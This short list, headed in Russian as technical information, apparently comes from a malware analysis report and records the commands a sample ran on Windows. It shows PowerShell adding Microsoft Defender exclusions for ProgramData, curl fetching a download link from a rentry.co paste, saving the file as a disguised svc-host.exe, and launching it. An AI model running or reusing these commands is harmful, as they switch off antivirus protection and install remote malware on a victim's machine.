Техническая информация
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%ALLUSERSPROFILE%"
- '%WINDIR%\syswow64\cmd.exe' /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%programdata%"
- '%WINDIR%\syswow64\cmd.exe' /c for /f "delims=" %i in ('curl -s https://rentry.co/bnov3dkn/raw') do @curl -o %ALLUSERSPROFILE%\Microsoft\SvcHost\svc-host.exe %i 1>nul 2>&1
- '%WINDIR%\syswow64\cmd.exe' /c curl -s https://rentry.co/bnov3dkn/raw
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Microsoft\SvcHost\svc-host.exe